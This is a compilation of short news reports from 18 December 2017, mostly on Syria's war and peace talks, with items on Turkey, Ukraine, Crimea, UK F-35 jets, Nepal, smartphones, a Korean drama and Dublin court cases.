In an interview following his meeting with the Russian delegation, Assad took France to task for supporting terrorist groups that have been wreaking havoc in Syria since 2011, noting that Paris was in no position to talk about peace in the country.

"France has been the standard bearer of support for terrorism in Syria since the early days of the conflict," he said, adding, "It is in no position to evaluate a peace conference."

"Whoever backs terrorism has no right to talk about peace or to interfere in Syrian affairs," the Syrian president emphasized.

Assad remarks came after Paris accused his government on Friday of obstructing peace talks.

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French President Macron says Assad will remain in power in Syria

Iran Press TV

Mon Dec 18, 2017 05:30AM

French President Emmanuel Macron says the reality in Syria is that President Bashar al-Assad will continue to stay in power because his opponents have lost "the war on the ground."

President Assad's government has faced militancy since March 2011, when governments opposed to him armed and financed some of his domestic political foes in an attempt to have him forcefully removed from power. Those armed factions were soon joined by an array of international terrorists pouring into the country to help oust Assad.

But the government in Damascus persevered as different factions of the society rallied around Assad in the face of an all-out militancy. Syria's allies, Iran and Russia, also offered advisory military help, and Moscow launched an aerial bombardment campaign against extremist groups in the country in September 2015 on a request from the Syrian government.

Speaking in an interview with France 24 television on Sunday, French President Macron said Assad would be staying in power because Iran and Russia had "won the war on the ground."

"Bashar al-Assad will be there. He will be there because he is protected by those who have won the war on the ground, whether it's Iran or Russia," Macron said.

Paris is opposed to the Assad government and has hoped to see him removed. And while it has on several occasions indicated that its number-one priority in Syria is not regime change  a stance Macron repeated in the Sunday interview  it had until now avoided explicitly admitting the reality on the ground in Syria.

Macron nevertheless called Assad "an enemy of the Syrian people" who "will have to respond to his crimes before his people, before the international courts."

The French president, who has sought a bigger role for France on the international scene, said his government would want to "build a political solution" to the crisis in Syria, including by bringing the government and opposition to the negotiating table.

He said he wanted to see "a process emerge at the start of next year with Assad's representatives, but I hope also representatives of all of the opposition."

"France's plan is to win peace, demine the country (Syria), to demilitarize it and build a political solution that will allow a durable peace  which means all minorities being protected, Christians, Shias, and Sunnis," Macron said.

This is while the Syrian government and opposition have already been negotiating, indirectly, in two separate processes.

A peace process for Syria has been ongoing under the auspices of the United Nations since 2012. Known as the Geneva process, the UN-led talks have failed to bring the crisis to a political end. Alternatively, Iran, Russia, and Turkey have since January 2017 been running a parallel peace process, in Kazakhstan's capital Astana, which has resulted in several ceasefires and significantly reduced fighting on the ground.

Meanwhile, a US-led coalition that includes France has been bombarding what it says are Daesh targets in Syria since September 2014. Macron said he saw victory emerge in that battle by February.

"I think that by the middle to the end of February, we will have won the war [against Daesh] in Syria."

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Syria's Assad Meets Russian Official, Calls U.S.-Backed Militias 'Traitors'

RFE/RL December 18, 2017

Syrian President Bashar al-Assad has called U.S.-backed Kurdish fighters "traitors," according to an online statement from his office on December 18.

Both Assad's government, which is backed by Russia, and the Kurds, backed by a U.S.-led coalition, have fought the extremist group Islamic State (IS) in Syria in recent months.

"When we talk about those referred to as 'the Kurds,' they are in fact not just Kurds. All those who work for a foreign country, mainly those under American command...are traitors," the statement quoted Assad as saying.

He spoke during a meeting with Russian Deputy Prime Minister Dmitry Rogozin at Hmeimim air base, the center of Russia's military campaign in support of government forces.

Kurds account for an estimated 15 percent of Syria's population, and their forces currently control a large part of the country.

Assad said he also welcomed a United Nations role in Syrian elections as long as the country's sovereignty was protected -- suggesting he would resist any attempt to remove him from power as part of a future political transition.

After the meeting, Rogozin said that Moscow would be the only country to take part in rebuilding Syrian energy facilities.

Russia has given Assad crucial military and diplomatic backing throughout Syria's nearly seven-year war, which began with a government crackdown on pro-democracy protesters.

The war has also badly damaged Syria's economy and infrastructure.

"President Assad said today that Syria has no desire to work with companies from countries which betrayed Syria at a certain moment," Rogozin said.

Rogozin was speaking a week after President Vladimir Putin ordered "a significant part" of Moscow's military contingent in Syria start withdrawing, declaring their work largely completed.

With reporting by RIA, Rossia-24, Reuters, and AFP

Source: https://www.rferl.org/a/syria-assad-meets-rogozin-kurd- militias-traitors/28925111.html

Copyright (c) 2017. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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France's Macron Sees Victory Over IS By February, Talks With Assad

RFE/RL December 18, 2017

French President Emmanuel Macron says the military campaign against Islamic State (IS) insurgents in Syria should be completed in February, coming just weeks after victory was declared against the extremists in Iraq.

"On December 9, Iraqi Prime Minister [Haidar al-] Abadi announced the end of the war and the victory over Daesh, and I think that by mid- to late February we will have won the war in Syria," Macron told a television interview broadcast on December 17, using the Arab acronym for IS.

Macron told the France 2 network that Paris would now push for peace talks involving all parties in the six-year Syrian civil war. He did not specify how those talks would align with other sets of negotiations now under way.

Macron said President Bashar al-Assad cannot be ignored in any negotiations but that the Syrian leader must one day answer for his actions.

"We have to talk to everybody. We have to talk to Bashar al-Assad and his representatives," Macron said. "Afterward, he must answer for his crimes before his people, before international justice."

The civil war in Syria has killed some 400,000 people and driven millions more from their homes since it began with a state crackdown on pro-democracy protesters in March 2011.

Russia and Iran support Assad, while a U.S.-led coalition, including France, backs antigovernment forces. Turkey supports differing rebel groups.

IS fighters also entered the war and were opposed by all other sides. After capturing wide swathes of territory in 2014, they have lost most of their gains in the face of attacks by government forces and U.S.-backed Arab and Kurdish fighters.

Based on reporting by AP and Reuters

Source: https://www.rferl.org/a/france-macron-islamic- state-syria-assad-talks/28924153.html

Copyright (c) 2017. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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Macron: Assad Will Stay in Power as Russia, Iran 'Won on the Ground' in Syria

Sputnik News

13:05 18.12.2017

French President Emmanuel Macron said that the international coalition will have won in Syria in February and that France will seek a political solution to the crisis.

Syrian President Bashar Assad will stay in power after the Syrian conflict is over and the West will have to speak to him, French President Emmanuel Macron said.

"Bashar al-Assad will be there," Macron said in an interview with France 2 television on Sunday. "He will be there because he is protected by those who have won the war on the ground, whether it's Iran or Russia."

He underscored that France's priority is to destroy Daesh in Syria, rather than oust Assad and to seek a political solution to the conflict.

Macron suggested that the United States-led international coalition, which involves France, will have won the war against Daesh in Syria "by the middle to the end of February."

After the military conflict is over, "we have to speak to Assad and his representatives," he stressed.

Macron, who has sought a greater role for France in the Syrian settlement, said Paris would push for a "political solution" in Syria, including via talks between Damascus and opposition groups.

"France's plan is to win peace, de-mine the country, to de-militarize it and build a political solution that will allow a durable peace  which means all minorities being protected, Christians, Shiites and Sunnis," Macron said.

Last week, the eighth round of talks in Geneva failed to produce any results, ending with mutual accusations between government and opposition representatives.

In addition to Geneva, there is also a parallel negotiation process on Syria, known as the Astana talks. In September, Macron, however, called the Astana process "not adequate" and indicated that Paris could propose a new initiative to resolve the Syrian crisis. Macron also said that it was "impossible to fix the Syrian situation without Russia."

Since the Syrian crisis broke out in 2011, the French government has insisted on the resignation of President Bashar Assad. Macron, who was elected president in May, earlier this year said that France had changed its doctrine with regard to Syria, including prioritizing the eradication of terrorist groups and searching for a sustainable political solution to the conflict.

 Sputnik

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Germany to provide additional development grant of 15 million Euro

The Government of Germany has agreed to provide Nepal with an additional development grant of EUR 15 million (approximately Rs 1 billion 815 million).
Assad Hopeful About Upcoming Russian-Sponsored Talks on Syria

By Nisan Ahmado December 18, 2017

Syrian President Bashar al-Assad expressed regret for the stalemate of U.N.-brokered intra-Syrian talks in Geneva last week but says he expects better results during the Russian-sponsored Sochi peace process to be held in February.

"Those with whom we are negotiating in Geneva - the Syrian opposition - do not represent the Syrian people. And after three years of negotiations, the Geneva talks did not achieve anything," Assad told reporters in Damascus Monday morning, without ruling out a future role of the United Nations in the Syria peace process.

The intra-Syrian peace talks went through an eighth round in Geneva recently with little apparent progress  prompting discussions this week in New York between U.N. envoy to Syria Staffan de Mistura, U.N. Secretary-General Antonio Guterres, and the U.N. Security Council (UNSC).

De Mistura announced after concluding the talks last Thursday, that it was "a golden opportunity missed" and that he is disappointed by the ineffective U.N.-backed efforts to end hostilities.

The talks' guideline was the 2015 unanimously adopted UNSC resolution 2254. The resolution endorses a peace map for Syria, focuses on setting in motion a new constitutional process, elaborates on governance and counter-terrorism, and the freeing of detainees as a confidence-building measure.

Blame game

De Mistura blamed the Syrian government for the disappointing result of last week's talks despite international efforts and diplomacy that preceded the negotiations in Riyadh that aimed to unify the opposition.

"I did not see therefore the government really looking to find a way to have a dialogue and negotiate in this round  I have to say, regrettably. I did see the opposition trying to," he said.

U.S. Department of State spokesperson Heather Nauert deplored the "obstructionism and procrastination" of the Syrian regime.

Doubts have loomed since the first day of the negotiations as the Syrian government's delegation hesitated to engage, preferring Russian-brokered talks. The Syrian Ministry for Foreign Affairs announced previously that Damascus welcomes the Sochi meeting.

Fate of Assad

Syrian government's chief negotiator Bashar al-Jaafari blamed the opposition's precondition for Assad to step down as the main reason for the failed peace talks.

The role of Assad in Syria's transition has been the main point of contention between the opposing blocs. The Russia-Iran bloc refuses any talks on ousting the Syrian president, while for many years Western and Arab countries have backed the Syrian opposition's demands for him to leave his post if peace talks were to move forward.

The humanitarian ordeal in Syria is getting worse. According to the United Nations, about 400,000 Syrians have been killed since 2011 and more than five million people have fled the country.

But the U.N. sees an opportunity arising from the humanitarian crisis.

"This crisis  one of the worst in the history of the U.N.  now has the potential, the real potential to move toward a genuine political process," de Mistura said.

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Turkish authorities issue detention warrant for 106 over links to failed coup

Iran Press TV

Mon Dec 18, 2017 06:21PM

Turkish prosecutors have issued detention warrants for 106 people, believed to have worked as matchmakers for the so-called Fetullah Terrorist Organization (FETO), which is accused by Ankara of orchestrating last year's failed military coup, Istanbul police say.

According a spokesman for the Istanbul police on Monday, 62 of the suspects had been arrested in a counter-terrorism operation centered in Istanbul but spread over 20 other provinces in the Anatolian country.

He further said that further operations to locate the remaining 44 suspects were ongoing, adding that they were "marriage officials" for supporters of the US-based opposition cleric Fethullah Gulen, who Ankara says was behind the botched mid-July 2016 putsch.

Gulen has since strongly rejected any involvement in the coup attempt against Turkish President Recep Tayyip Erdogan, however, Ankara labeled his transnational religious and social movement, Gulen Hareketi, as a terror organization, the so-called FETO. The Turkish government has so far submitted a total of seven requests to US officials concerning the extradition of the Pennsylvania-based figure.

The police spokesman further said that the suspects had allegedly helped set up arranged marriages for some of Gulen's followers. Turkish authorities claim that the Gulen network closely monitored the personal and professional lives of some followers, including their education, career and marriages.

Turkish police and the country's intelligence officials managed to identify the suspects via using conversations traced on ByLock, an encrypted messaging application that was allegedly used by Gulen's supporters for communication, the police official said.

Last Month, Turkey's interior ministry announced that until then it had identified 215,092 users of the application and had launched probes into 23,171 of them.

The Turkish authorities have so far detained more than 50,000 people, including security officials, military personnel and civil servants, over alleged links to Gulen's organization and the failed coup. More than 110,000 others, including military staff, civil servants and journalists, have also been sacked or suspended from work over the same accusations.

Turkey, which remains in a state of emergency since July last year, has also been engaged in suppressing the media and opposition groups suspected to have played a role in the botched coup.

Rights groups and European governments have repeatedly criticized Ankara for the continued crackdown, saying the government is using the coup as a pretext to muzzle the dissent.

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UK takes delivery of final F-35B Lightning this year

The UK has taken delivery of its 14th F-35B Lightning II which flew into Beaufort, South Carolina last week to take its place as part of the Lightning Fleet, set to operate from Queen Elizabeth class aircraft carriers and RAF Marham.

Published 18 December 2017

Operated jointly by the Royal Navy and Royal Air Force, the F-35 Lightning jets will be able to operate on land or embarked on the UK's new aircraft carriers. This delivery is a significant milestone for the Lightning Programme and in particular, alongside the formal commissioning of the HMS Queen Elizabeth Carrier into the Royal Navy earlier this month, demonstrates the advancement towards the establishment of the UK's Carrier Enabled Power Projection capability.

Defence Secretary Gavin Williamson said:

"This Christmas delivery is the 14th jet to join our fleet of fifth-generation F-35 fighters over in the US. The Carriers have taken centre-stage this year, and next year we look towards these aircraft joining us in Britain and taking off from HMS Queen Elizabeth's enormous deck to undertake First of Class Flight Trials. With our famous Royal Air Force coming into its 100th anniversary, the F-35 keeps us right at the cutting-edge of combat air power."

Peter Ruddock, Chief Executive of Lockheed Martin UK said:

"There are more than 500 UK companies in our supply chain who play a vital role in producing every F-35 and we are proud to have delivered the UK's 14th aircraft on schedule. More than 260 F-35s are now flying from 14 bases around the world and we look forward to supporting the UK's Lightning Force, as they prepare to bring their F-35s to the UK and achieve initial operational capability next year."

There are currently some 200 British personnel based at Beaufort testing the aircraft and getting them ready to arrive in the UK next summer as 617 Squadron. Preparations are also being made for First of Class Flight Trials, due to take place on HMS Queen Elizabeth later next year. The programme is on schedule to achieve Initial Operating Capability from land next year with Initial Operating Capability Carrier Strike in 2020. In addition to its short take-off and vertical landing capability, the F-35B's unique combination of stealth, cutting-edge radar, sensor technology, and electronic warfare systems brings all of the access and lethality capabilities of a fifth-generation fighter.

In 2018, the aircraft  along with the Navy and RAF pilots and ground crew  will arrive in the UK to officially stand up at RAF Marham in Norfolk. RAF Marham will be the Main Operating Base for the Lightning Force in the UK and from here, they will deploy forward to either embark on-board our Queen Elizabeth Class aircraft carriers, or operate from Deployed Operating Bases.

Following successful trials on the land based ski-ramp design which is featured on the UK flagship, and with the RAF Marham runway infrastructure completed as part of a 250m major investment programme in preparation for the F-35 arrival, Defence Minister Harriett Baldwin earlier this year announced that the F-35 was cleared for take-off.

As the only level one partner on the F-35 programme, the UK has been working closely with the US from the outset. UK industry will provide approximately 15% by value of each F-35 to be built, which are due to total more than 3000 in number. The programme has already generated $12.9Bn worth of orders for the UK and at peak production the programme will support over 24,000 jobs in the UK.

Some milestones reached on the F-35 programme this year include:

- 10% production milestone reached

- Runway resurfacing at RAF Marham complete

- F-35 is cleared for take-off from HMS Queen Elizabeth following successful land trials using the ski-ramp design

- Commanding Officer of 617 Sqn, Wing Commander John Butcher takes his first flight in an F-35B

- Delivery of 14th F-35



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Saakashvili Refuses To Be Questioned By Ukraine's Prosecutor-General

RFE/RL December 18, 2017

Ukrainian opposition leader Mikheil Saakashvili appeared at the Prosecutor-General's Office in Kyiv on December 18 but refused to answer questions from investigators.

Ukrainian authorities have accused the former Georgian president and ex-Ukrainian governor of abetting an alleged "criminal group" led by former President Viktor Yanukovych, who fled to Russia after his ouster in February 2014. They also have suggested that protests led by Saakashvili are part of a Russian plot against Ukraine.

Saakashvili has strongly denied all the charges.

Outside the Prosecutor-General's Office in the Ukrainian capital, Saakashvili told reporters he would give testimony only when the case is handed over to the Ukrainian Security Service, "as required by law," Interfax reported.

A spokesperson for the prosecutor-general said Saakashvili had "disrupted the investigative procedure" by failing to be questioned by the investigator who summoned him, according to Interfax.

Meanwhile, Western diplomats have expressed concern after Saakashvili supporters briefly attempted to seize a public building in Kyiv during a rally to demand the impeachment of Ukrainian President Petro Poroshenko.

Saakashvili's followers marched through Kyiv on December 17 and then rallied with him on Independence Square to call for Poroshenko to be officially removed from office.

During the rally, Saakashvili suggested setting up a headquarters for the protest in the October Palace, a performing arts and conference center overlooking the square.

People in the crowd shattered windows and tried to break the doors down to the building but were prevented by police from getting inside.

At the time, hundreds of children were reported to be attending an event in the October Palace.

The attempt to seize the building drew rebukes from some Western diplomats.

On Twitter, Canadian Ambassador Roman Waschuk said that "attempts to seize and damage public buildings are an abuse of the right to peaceful protest."

British Ambassador Judith Gough seconded his assessment.

The U.S. Embassy in Kyiv joined in later on Twitter.

"We agree with our colleagues from Canada and the U.K. Attempts to capture and destroy public buildings are an abuse of the right to peaceful protest," it wrote.

After the protesters' attempts to enter the building failed, Saakashvili said he wanted to "rent two rooms there" and that the clashes were "President Poroshenko's game and provocation."

"I denounce any [attempts] to break windows, because once there are millions of us, these doors and these windows will open themselves. We don't need to break them, people," Saakashvili added in an interview with RFE/RL's Ukrainian Service.

Kyiv police said at least 32 security officers were injured in confrontations with protesters near Independence Square -- the site of the monthslong 2013-14 protests that led to the ousting of Yanukovych.

With police looking on, the demonstrators on December 17 marched through central Kyiv toward Independence Square.

They urged parliament to adopt legislation on a presidential impeachment and called on Prosecutor-General Yuriy Lutsenko to step down.

Ukrainian police on December 5 tried to detain Saakashvili but supporters crowded around a police vehicle in which he was being held and then freed him.

He was again detained three days later, but a judge on December 11 turned down a request by prosecutors to place him under house arrest.

Lutsenko has said he would appeal the judge's ruling and that Saakashvili will likely be extradited to Georgia, where he is wanted on charges linked to when he was that country's president.

"We have an official request from the country, which we do not have the right to refuse," Lutsenko told reporters on December 15.

However, Russian state-run TASS news agency quoted senior Georgian officials as saying the Caucasus country had issued no such extradition request.

Saakashvili was president of Georgia from 2004-13. He lost his Georgian citizenship in 2015 when he accepted Ukrainian citizenship and took the post of Odesa governor.

Saakashvili resigned the position in November 2016, complaining of rampant corruption, and has since becoming an ardent opponent of Poroshenko.

In an interview with Current Time TV, the Russian-language network run by RFE/RL in cooperation with VOA, Saakashvili said on December 12 that corruption inflicted far greater damage on Ukraine than Russia had.

He added that he has no ambition to become Ukraine's president, saying the position should always be held by an ethnic Ukrainian.

The authorities "really think that it's enough to shout 'Russia' and 'agents of the enemy' and everyone will just buy that. People are not stupid. They didn't buy it earlier, they're not buying it now," Saakashvili said.

After Yanukovych was ousted, Russia illegally annexed Ukraine's Crimea region in March 2014 and fomented a separatist insurgency in eastern Ukraine that has killed more than 10,300 people since April 2014.

With reporting by RFE/RL's Ukrainian Service, AP, and Interfax

Source: https://www.rferl.org/a/ukraine-saakashvili-refuses-questioned- prosecutor-general-russia/28924647.html

Copyright (c) 2017. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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Dozens Of Crimean Tatars Fined Over Protests On Russian-Controlled Peninsula

Crimean Desk, RFE/RL's Ukrainian Service December 18, 2017

Courts in Russia-controlled Crimea on December 18 fined dozens of Crimean Tatars over single-person demonstrations, in a move which Amnesty International called "a brazen crackdown."

The Crimean Tatars staged the demonstrations in October to protest pressure imposed on practicing Muslims by the Moscow-installed authorities.

The Ukrainian Foreign Ministry condemned the hearings, calling them part of a Russian effort to "break, suffocate, and ruin" the mostly Muslim group whose homeland is Crimea.

Ministry spokesman Maryana Betsa wrote on Twitter that the hearings were intentionally being held a day before an expected vote in the UN General Assembly on the human rights situation in Crimea.

"The Russian Federation's cynicism has no limits" she wrote.

Hearings were held in the cases against some 70 Crimean Tatars in the cities and towns including Simferopol, Dzhankoy, Alushta, and Sudak. At least 45 were fined up to 15,000 rubles ($255) over the protests and at least five hearings were postponed.

As the hearings progressed at courts in the cities and towns, including Simferopol, Dzhankoy, Alushta, and Sudak, several Crimean Tatars were fined up to 15,000 rubles ($255) over the protests.

Russian law does not forbid single-person protests, and they have frequently been used by activists to avoid arrest as President Vladimir Putin's government has tightened restrictions on public gatherings in recent years.

But Russian investigators in Crimea argued that as the protests in October against searches and detentions of Crimea Tatars were held simultaneously across the peninsula, they may have been organized centrally and thus were in violation of the law.

Crimean Tatars rejected this claim. Refat Chubarov -- chairman of the Mejlis, the Crimean Tatars self-governing body that Russia has outlawed -- wrote on Facebook that Russia "demonstrates disregard for the norms of the international law."

Rights groups and Western governments have denounced what they called a persistent campaign of oppression targeting members of the Turkic-speaking Crimean Tatar minority and others who opposed Moscow's seizure of the Black Sea peninsula from Ukraine in March 2014.

In a December 18 statement, Amnesty International called the trials "a brazen crackdown."

"The occupying Russian authorities push ever further the limits of their remorseless reprisals against the Crimean Tatar minority," Oksana Pokalchuk, Amnesty International Ukraine's Executive Director, said.

"Russian authorities have already forcibly exiled or jailed Crimean Tatar leaders, banned their representative body, Mejlis, and stifled the Crimean Tatar-language media. With this latest move they are aiming to shut down individuals' expressions of dissent and deprive them of the right to voice their dissatisfaction."

The majority of Crimean Tatars opposed the Russian takeover of their historic homeland.

Russian President Vladimir Putin's government moved swiftly to take control over Crimea after Moscow-friendly Ukrainian President Viktor Yanukovych was pushed from power in Kyiv by pro-European protests.

Russia sent troops without insignia to the Black Sea peninsula, orchestrated a takeover of government bodies, and staged a referendum that was widely considered illegitimate by the international community.

Source: https://www.rferl.org/a/crimean-tatars- protests-court-protests/28924764.html

Copyright (c) 2017. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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Govt urged to handover certificate of victory to Resham Chaudhary

Nepali organisations active in South Korea have expressed dissatisfaction over the Election Commission (EC)s reluctance to provide the certificate of victory to recently elected federal parliament member Resham Chaudhary.
A new problem related to Google's Pixel 2 smartphones has come to light. Over at the company's official Pixel forum, several users have been reporting issues with the included USB-C to 3.5mm headphone adapter for quite some time now.

Specifically, users say the adapter doesn't work as the sound comes from the phone's speakers instead of headphones.

Troubleshooting steps like rebooting the phone or operating it in the safe mode worked for a few users, but as you'd agree, those are not convenient solutions. Some of those who contacted Google support were offered replacements.

Officially, the Mountain View, California-based company hasn't said anything on the matter yet.

Source | Via
Locals protest against delayed compensation

Bhairahawa locals whose land was acquired by the Gautam Buddha International Airport project have halted construction work to protest delays in payment of compensation.
After many months of rumors on the matter, it's finally official: Huawei will sell the Mate 10 through at least one US carrier in 2018. This information has been outed by none other than Richard Yu, the president of the Chinese company's consumer business.

He hasn't revealed which carrier (or carriers) the Mate 10 will be offered by, but all previous mumblings pointed to AT&T as being the first company to make that deal. Verizon may have joined in the fun too.

Yu didn't disclose any pricing information either, aside from noting that the phablet will be "competitively priced", but said we should expect all the details to be announced at CES in early January. The exec is confident that Huawei "can bring value to the carriers and to consumers" in the US.

Source
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By Vasia Orion | Published on 2017/12/18

The upcoming jTBC sitcom drama about a trio of unfortunate young men running a guesthouse named "Waikiki" has finally found its aforementioned trio of unfortunates. Kim Jung-hyun, Lee Yi-kyung and Son Seung-won will be the entrepreneurs-by-force as they meet new tenants while chasing their dreams.

Advertisement

Kim Jung-hyun ("School 2017", "One Day") plays Gang Dong-goo, an aspiring director whose aspirations have taken him nowhere. Once a promising new filmmaker enjoying recognition for his short film, the young man quickly discovered the harsh reality of building a career. His failure has made him cynical, but he has a kind heart. He wants to use the guesthouse in order to fund the revitalization of his filmmaking efforts.

Lee Yi-kyung ("Go Back Couple", "Baby Beside Me") will be Cheon Joon-gi, the "man with the plan" who sparks the idea of a guesthouse for funding his career alongside Dong-goo. The character is a troublemaker and his dream is to become a grand actor like his famous father. His luck on that department is as bad as Dong-goo's, so the two join forces for a less-than-sound course of action.

Son Seung-won ("Age of Youth" 1 and 2, "Giving Happiness") is the third partner of this trio and I'm guessing you can see the pattern by now. The kind-looking, but cunning when necessary man is a screenwriter who came to Seoul for success and ended up freelancing while chasing his own dream. He joins the other two in hopes of participating in their future film.

The work sounds like another youth ensemble drama and given how well those have been doing lately, I bet it will have eager viewers waiting for it. MBN's "539 Yeonnam-dong" has a slightly similar theme, although the format seems different so far and MBN's drama might be going for more diversity in characters. Variety is good, so a warm welcome to both dramas.

"Welcome to Waikiki" will follow "Just Between Lovers" on jTBC in February. It is produced by Lee Chang-min-I ("Man to Man", "Remember") and written by Kim Ki-ho ("Kidnapping Assemblyman Mr. Clean", "Modern Farmer").

Written by: Orion from 'Orion's Ramblings'

Sources (1) (2)
A security guard was assaulted and warned he and his family had to move out of their house by a former paramilitary leader.

The Special Criminal Court heard the evidence during the sentencing hearing of former INLA boss Declan Duffy (44) and Christopher Maguire (39), who had pleaded guilty to falsely imprisoning Martin Byrne in Rathcoole/Saggart, Co Dublin, on June 9, 2015.

Duffy, of Hanover Street West, Dublin, also admitted assaulting John Roche causing him harm at the Towers, Garters Lane, Saggart.

Maguire, of Dun Emer Place, Lusk, also pleaded guilty to falsely imprisoning Lisa Byrne.

The court heard that Mr Byrne had become involved in a dispute with his employer regarding his and his wife's home at the Towers.

He had twice met Duffy after he had been asked by his employer to attend meetings at Keating's Park, Saggart.

It was at the second that he had been warned that if he did not co-operate his life would be in "jeopardy".

Punching

Mr Byrne had been met by seven men and they had forced him to drive to the Towers, where they had been refused entry by Mr Roche.

Once inside, they had told Mrs Byrne to leave, then went to Mr Roche's. He was assaulted, and CCTV footage also showed Duffy punching Mr Byrne twice.

Mr Byrne was taken to Mr Roche's property where an ear was cut and he was told to immediately leave his home.

A member of the public had seen the assault on Mr Roche and called 999.

Mr Byrne was ordered to go out and meet a garda, who recognised something was wrong. An aerial unit was called and the gang tried to escape.

In a victim impact statement, Mr Byrne said he was unemployed and "out of pocket" and his children had "lost their childhood" and he had to "live a clandestine life".

Mr Justice Tony Hunt, Judge Patricia Ryan and Judge James Faughnan remanded Duffy in custody and Maguire on bail until January 29, when they will be sentenced.
Graham McEvoy admitted killing his best friend and pleaded guilty to manslaughter, but a jury decided that it was murder

A Dublin teenager who admitted stabbing his best friend to death was yesterday found guilty of his murder.

Graham McEvoy (19), of Captain's Road, Crumlin, had pleaded guilty to manslaughter.

However, after a week-long trial, the Central Criminal Court jury recorded a majority 11 to one verdict that he murdered Paul 'Paulie' Curran (23), at Seagull House, Crumlin Road, Dublin, on July 16, 2016.

It took the jury more than eight hours to reach its verdict, which came shortly before 3pm.

Mr Justice Patrick McCarthy then thanked them and exempted them from jury service for 10 years.

Stabbed

Prosecuting counsel Pieter LeVert asked for time for a statement to be prepared by the victim's family, and as a result, Mr Justice McCarthy adjourned sentencing until today.

Having been found guilty of murder, McEvoy will receive a mandatory life sentence.

Following the verdict, members of his family embraced him and broke down in tears.

As he was led away, he told them: "Don't worry, it's only an extra few years."

The trial heard from Deputy State Pathologist Dr Linda Mulligan that Mr Curran was stabbed at least six times.

She said the fatal wound was made under Mr Curran's left armpit and went through the upper lobe of the left lung. At a depth of nine or 10 centimetres, it caused significant bleeding and collapse of the left lung, leading to respiratory collapse and death.

Blood loss through other wounds to the backs of his legs contributed to his death, added Dr Mulligan, and an incised wound to his left forearm was most likely a defensive injury.

The injuries to his legs appeared to travel in an upward direction. This suggested that Mr Curran was at a higher level, such as on stairs, when those wounds were inflicted, Dr Mulligan told the court.

During garda interviews, McEvoy said he had met Mr Curran at Seagull House to sell him half an ounce of cocaine, but when he asked for his money, Mr Curran pulled a knife and tried to slash him.

In the scuffle that followed, the two men slipped to the floor, and McEvoy said he took the knife from Mr Curran and stabbed him.

Defence barrister Barry White argued that McEvoy was acting in self-defence but had used excessive force and should therefore be convicted of manslaughter and not murder.

The prosecution said the three knife wounds to the backs of Mr Curran's legs - which the pathologist said went in an upward direction - showed that the deceased was trying to get away rather than scuffling on the ground.

There was also the evidence of a teenage girl, who said McEvoy called her earlier that day looking for Mr Curran and said something about "nearly getting a stripe" on his face and that he "got it over Paulie".

Responsibility

In his charge to the jury, Mr Justice McCarthy explained that McEvoy's plea to the lesser charge meant that he accepted responsibility for the killing but that at the time did not intend to kill or cause serious injury.

The judge said any person is entitled to defend themselves in a way that is proportionate with the threat, but in circumstances in which the level of force used is not reasonable, the person might still not be guilty of murder.

He said the prosecution would still have to prove beyond reasonable doubt that the accused knew that the force used was excessive.

If the prosecution failed to prove this, then the accused should be found not guilty of murder but guilty of manslaughter, he added.

However, if the jury was satisfied beyond reasonable doubt that he knew at the time that the force he was using was excessive, he said it should find him guilty of murder.
A man has been accused of putting his hand up a woman's skirt in a city centre street. Stock photo: PA Archive

A man has been accused of putting his hand up a woman's skirt in a city centre street.

The 36-year-old appeared in court yesterday charged with sexually assaulting the woman after approaching her from behind as she walked home.

Judge Brian O'Shea adjourned the case at Dublin District Court for the unemployed accused to consider his plea.

He is originally from Co Mayo but lives in north Dublin.

The Director of Public Prosecutions directed summary disposal of the case at district court level, subject to the judge considering jurisdiction.

A garda told the court that the woman was walking on Cope Street at around 7.30pm on June 22. The accused is all-eged to have approached her from behind and "put his hand up underneath her skirt".

Curfew

Judge O'Shea accepted jurisdiction to deal with the case after reading the woman's statement and directed disclosure of prosecution statements to the defence by January 12.

The judge also reduced curfew hours from between 11pm and 7am to 11pm and 5am after the accused's solicitor said he was seeking work and finding the existing curfew "somewhat prohibitive".

Judge O'Shea relaxed the requirement to sign on at a garda station after hearing that the accused was going back to Co Mayo for "the break" between December 21 and January 4.

He was signing on at a Dublin garda station three times and week and would be staying at the family home for that period.

The judge asked if he could sign on in Mayo. "I'm sure he could," his lawyer said. The garda consented to that. Judge O'Shea remanded the defendant on continuing bail.
Bob Geldof is coming to Dublin to donate documents from Band Aid to the National Library of Ireland, the Herald can reveal.

The Boomtown Rats frontman, the Band Aid Charitable Trust and representatives of the library are finalising this week's event.

The collection includes photos, written documents and correspondence with the musicians who have taken part in the charity movement.

Securing the material, which was highly sought after, has been seen as a massive coup for the National Library.

It plans to open the collection to the public, and it is expected to attract interest from music fans the world over.

It is understood some of the world's biggest internet companies were interested in acquiring the archive material, but a decision was made to donate it to the National Library here.

History

"This is an outstanding collection and something any of the best libraries in the world would want," a source said.

"What we are talking about here is important music history.

"Band Aid and the Live Aid concert are still present in the cultural consciousness, more than three decades later."

A spokesperson for the National Library confirmed it was working on the project and the announcement was "imminent".

The timing is in keeping with the festive theme of the 1984 Band Aid anthem, Do They Know It's Christmas?, written by Geldof and Midge Ure. The original charity supergroup featured the biggest names in music, such as Bono, Phil Collins, Boy George, Sting and George Michael. The project also included contributions form Paul McCartney and David Bowie.

A number of incarnations of the band have been formed, the most recent of which included Ed Sheeran, Niall Horan, Harry Styles and Sinead O'Connor.
Pope John Paul II said Mass to more than one million people in the Phoenix Park during his 1979 visit. Photo: SSPL/Manchester Daily Express

Pope Francis is planning to say Mass in the Phoenix Park when he visits Dublin next year.

The Archbishop of Dublin, Dr Diarmuid Martin, said it is seen as the only venue large enough to host what would be a massive gathering.

The cost of the trip is likely to be 20m. Church collections will raise about 5m, while the rest will come from fundraising.

Scandals

Such a Mass would see the Pope follow in the footsteps of John Paul II, who said Mass in the park in 1979 to a crowd of more than one million people.

However, with the Catholic Church's reputation now severely damaged by a string of child sex abuse scandals, it is unlikely the park will see the such a huge gathering for Pope Francis.

The Pope is due to visit Dublin for the World Meeting of Families, which runs from August 21-26

There was previous speculation the Mass could be held in Croke Park. However, the Archbishop stressed that plans have not been finalised.

"We are working now on the things that [Francis] would like to do when he comes to Dublin," said Dr Martin.

"He is very anxious that he comes.

